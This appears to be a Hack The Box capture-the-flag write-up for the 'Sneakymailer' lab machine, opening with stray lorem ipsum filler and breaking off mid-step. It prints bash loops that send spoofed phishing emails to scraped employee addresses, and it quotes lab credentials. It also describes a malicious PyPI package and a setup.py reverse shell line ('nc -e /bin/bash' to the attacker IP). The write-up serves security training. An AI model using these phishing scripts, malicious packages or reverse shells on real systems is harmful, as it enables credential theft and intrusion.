Sneakymailer - Hack The Box
“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

From the initial nmap scan we can see that port 80 redirects us to http://sneakycorp.htb - add sneakycorp.htb to /etc/hosts. Port 80 gives us a list of all employees of the company, along with title and email. Other then that it says ‘Please check your emails for further instructions and register an account’ - rabbit hole? Looking at the ports it’s quiet obvious that you should enumerate the mail server to find users or any other valuable information.
Using cewl I create a wordlist and then start to fish for valid users via metasploit smtp_enum module.

Here I got stuck for a good while. I tried to connect to the FTP with known users but with no luck. Looking at the HTB forums gave a hint that you (probably) need to phish to get any further. Compile a list of all employees email accounts.
root@nidus:/git/htb/sneakymailer# curl http://sneakycorp.htb/team.php grep @sneakymailer.htb > email-raw.txt Sort the data:
root@nidus:/git/htb/sneakymailer# awk -v RS=”[><]” ‘/@/’ email-raw.txt > email.txt

You can execute your phishing attack with or without a local SMTP server. For educational purpose I did both, which took a lot of time and caused some headache. With a local SMTP server you can verify the status of your emails through /var/log/mail.log which might make it easier if you’re stuck with formating etc - however remote SMTP server is far faster.
a) Local SMTP Server
-
Install postfix and mailutils root@nidus:/git/htb/sneakymailer# apt install mailutils root@nidus:/git/htb/sneakymailer# apt install postfix When asked about the environment, select ‘Internet Site’. When asked to confirm the hostname, select default “localhost.localdomain”
-
Configure postfix with domain, network, interface, protocol, delimiter and DNS root@nidus:/git/htb/sneakymailer# postconf -e “mydestination = $myhostname, nidus, localhost.localdomain, localhost” root@nidus:/git/htb/sneakymailer# postconf -e “mynetworks = 127.0.0.0/8, 10.10.14.0/24” root@nidus:/git/htb/sneakymailer# postconf -e “inet_interfaces = all” root@nidus:/git/htb/sneakymailer# postconf -e “inet_protocols = ipv4” root@nidus:/git/htb/sneakymailer# postconf -e “recipient_delimiter = +” root@nidus:/git/htb/sneakymailer# postconf -e “lmtp_host_lookup = native” root@nidus:/git/htb/sneakymailer# postconf -e “smtp_host_lookup = native”
-
Restart postfix for all changes to take place, and test to send a email via telnet. TELNET) root@nidus:/git/htb/sneakymailer# service postfix restart root@nidus:/git/htb/sneakymailer# telnet localhost 25 220 nidus ESMTP Postfix (Debian/GNU) ehlo localhost mail from: root@localhost rcpt to: zoritaserrano@sneakymailer.htb data Subject: Test mail. Test Body. . quit
-
Verify that the email was sent, indicated by ‘status=sent’ root@nidus:/git/htb/sneakymailer# cat /var/log/mail.log Jul 28 18:05:03 nidus postfix/smtpd[175559]: 342481A40360: client=localhost[127.0.0.1] Jul 28 18:05:19 nidus postfix/cleanup[175649]: 342481A40360: message-id=20200728160503.342481A40360@nidus Jul 28 18:05:19 nidus postfix/qmgr[162551]: 342481A40360: from=root@localhost, size=329, nrcpt=1 (queue active) Jul 28 18:05:20 nidus postfix/smtpd[175559]: disconnect from localhost[127.0.0.1] ehlo=1 mail=1 rcpt=1 data=1 quit=1 commands=5 Jul 28 18:05:29 nidus postfix/smtp[175653]: 342481A40360: to=zoritaserrano@sneakymailer.htb, relay=sneakymailer.htb[10.10.10.197]:25, delay=33, delays=22/0.02/10/0.09, dsn=2.0.0, status=sent (250 2.0.0 Ok: queued as 4A6DF24ADD) Jul 28 18:05:29 nidus postfix/qmgr[162551]: 342481A40360: removed
b) Using Victim SMTP Server
- Execute swaks and point to their server directly.

When you are able to send emails it’s time to weaponize your phishing scheme. In this attack we will include a http-link to our IP address, hoping to grab some sensitive data when the victim clicks it. To make it effective we need to make a script to loop through all the employees email addresses.
I’ve made two different scripts, one when using your own SMTP server and the other when using the victims. NOTE: Before executing the script(s), setup a nc listener on port 80 to capture anyone clicking the link!
a) Local SMTP Server - for loop: root@nidus:/git/htb/sneakymailer# cat for-phish.sh #!/bin/bash for i in $(cat email.txt); do swaks –to $i –from bill.gates@microsoft.com –header “Subject: Click the link!” –body “http://10.10.14.4” –server 10.10.14.4 –port 25 done
b) Using Victim SMTP Server - while loop: root@nidus:/git/htb/sneakymailer# cat while-phish.sh #!/bin/bash inputFile=$1
while read mail; do swaks --to $mail --from it-dep@sneakymailer.htb --header "Subject: Security Audit" --body "You need to log into http://10.10.14.4/ to confirm your account." --server 10.10.10.197; done < $inputFile -
Running the scripts gives us a reply from Paul Byrd, including a url encoded password. Decode the password and start to hunt for places it can be used. Looking at the POST it seem to be directed to the register form on http://sneakycorp.htb/pypi/register.php

Download and install the email client thunderbird. Upon first start enter the following:
Your name: Paul Byrd Email Address: paulbyrd@sneakymailer.htb Password: ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
Press ‘Continue’. It will fail to find the server, change to following: INCOMING Protocol: IMAP Server Hostname: sneakymailer.htb Port: 143 SSL: None Authentication: Normal Password
OUTGOING Protocol: SMTP Server Hostname: sneakymailer.htb Port: 25 SSL: None Authentication: Normal Password
Press ‘Done’, check ‘I understand the risks’ and then ‘Done’. Restart thunderbird and you’ll be connected to Paul Byrd’s email. After successfully logging in to Paul’s email account we find a message in his “Sent Items”-folder.
“Hello administrator, I want to change this password for the developer account
Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it”
The credentials developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C work for the FTP server, inside we have the folder dev which within we have write permissions.

We are able to put a shell here however we can’t reach it - maybe because it’s another owner? We need to think rethink. ftp> ls -l 200 PORT command successful.

At this point I got a bit frustrated, but then started to think about the name of the box and company - SNEAKY.. Maybe we didn’t find everything in the enumeration so I decided to fuzz for subdomains, and voila(!) dev.sneakycorp.htb.

Upgrade your shell. Looking around in the box we find another subdomain in /var/www - pypi.sneakycorp.htb. In the directory we find .htpasswd, containing a set of credentials. Crack them and add the subdomain to /etc/hosts.

You reach the subdomain on port 8080 - http://pypi.sneakycorp.htb
-
On the pypi subdomain we are able to login with out new found credentials. Here we are able to install python packages to be run on the victim server. Looking for packages I found none that would grant me reverse access to the victim, so instead I started to look on how to create your own custom package. Follow the guidelines on linode.com (linked below) to create your files.
www-data@sneakymailer:/dev/shm$ mkdir p3pkg www-data@sneakymailer:/dev/shm$ cd p3pkg www-data@sneakymailer:/dev/shm/p3pkg$ touch README.md setup.cfg setup.py
www-data@sneakymailer:/dev/shm/p3pkg$ mkdir p3pkg www-data@sneakymailer:/dev/shm/p3pkg$ cd p3pkg/ www-data@sneakymailer:/dev/shm/p3pkg/p3pkg$ touch init.py
www-data@sneakymailer:/dev/shm/p3pkg$ tree . ├── p3pkg │ └── init.py ├── README.md ├── setup.cfg └── setup.py
INFORMATION ABOUT EACH FILE
- Setup.py: .. contains information about your package that PyPi needs, like its name, a description, the current version etc.
- Setup.cfg: .. contains metadata. If you have a description file (and you definitely should!), you can specify it here.
- README.md .. installation guidelines, dependencies etc. Best practice to use when publishing to public PyPI repo.
- init.py: .. is used to mark which classes you want the user to access through the package interface. This is where you enter your code.
You should now have code in all files except the README-file. For a easy proof of concept I copy pasted the example “Hello World” init-file to be uploaded before making a malicious package.
www-data@sneakymailer:/dev/shm/p3pkg$ cat setup.cfg [metadata] description-file = README.md
www-data@sneakymailer:/dev/shm/p3pkg$ cat setup.py from setuptools import setup
setup( name=’p3.Hello’, packages=[‘p3pkg’], description=’Give me user please.’, version=’0.1’, author=’PlayerThree’, author_email=’PlayerThree@htb.eu’, keywords=[‘p3’,’privesc’] )
Compress the package and you’ll find your .tar.gz-file in the dist directory.

www-data@sneakymailer:/dev/shm/p3pkg$ ls dist/ p3.Hello-0.1.tar.gz
Now when we have our package created, we need to upload it. We do this in two (2) steps:
1) Create a .pypirc-file in our home directory, containing information pointing towards our new repository. However we don’t have write permissions in home, so we need to change the environment variable of home to another folder to do this.
www-data@sneakymailer:~$ touch .pypirc touch: cannot touch '.pypirc': Permission denied www-data@sneakymailer:~$ cd /dev/shm/p3pkg www-data@sneakymailer:/dev/shm/p3pkg$ export HOME=/dev/shm/p3pkg www-data@sneakymailer:~$ touch .pypirc www-data@sneakymailer:~$ cat .pypirc [distutils] index-servers = pypi p3pkg [pypi] username: password: [p3pkg] repository: http://127.0.0.1:8080 username: pypi password: soufianeelhaoui2) Upload the package. If successful you’ll get message ‘Server Response (200): OK’.
www-data@sneakymailer:~$ python3 setup.py sdist upload -r p3pkg .. Submitting dist/p3.Hello-0.1.tar.gz to http://127.0.0.1:8080 Server response (200): OK -
My first thought here was to inject a reverse shell into the setup.py file. This worked great however I was still user www-data. Rethinking this and I noticed we have read in /home/low/.ssh/authorized_keys, I’ll try to inject my public key there!
NOTE: After reviewing writeup’s upon completion of this box I noticed it is possible to get a reverse shell directly from setup.py. To do this you add the following code (user low has uid 1000): import os if os.getuid() == 1000: os.system(‘nc -e /bin/bash 10.10.14.4 4499’)
www-data@sneakymailer:/dev/shm$ mkdir sshpy www-data@sneakymailer:/dev/shm$ cd sshpy/ www-data@sneakymailer:/dev/shm/sshpy$ touch README.md setup.cfg setup.py www-data@sneakymailer:/dev/shm/sshpy$ mkdir sshpy www-data@sneakymailer:/dev/shm/sshpy$ touch sshpy/init.py www-data@sneakymailer:/dev/shm/sshpy$ touch .pypirc
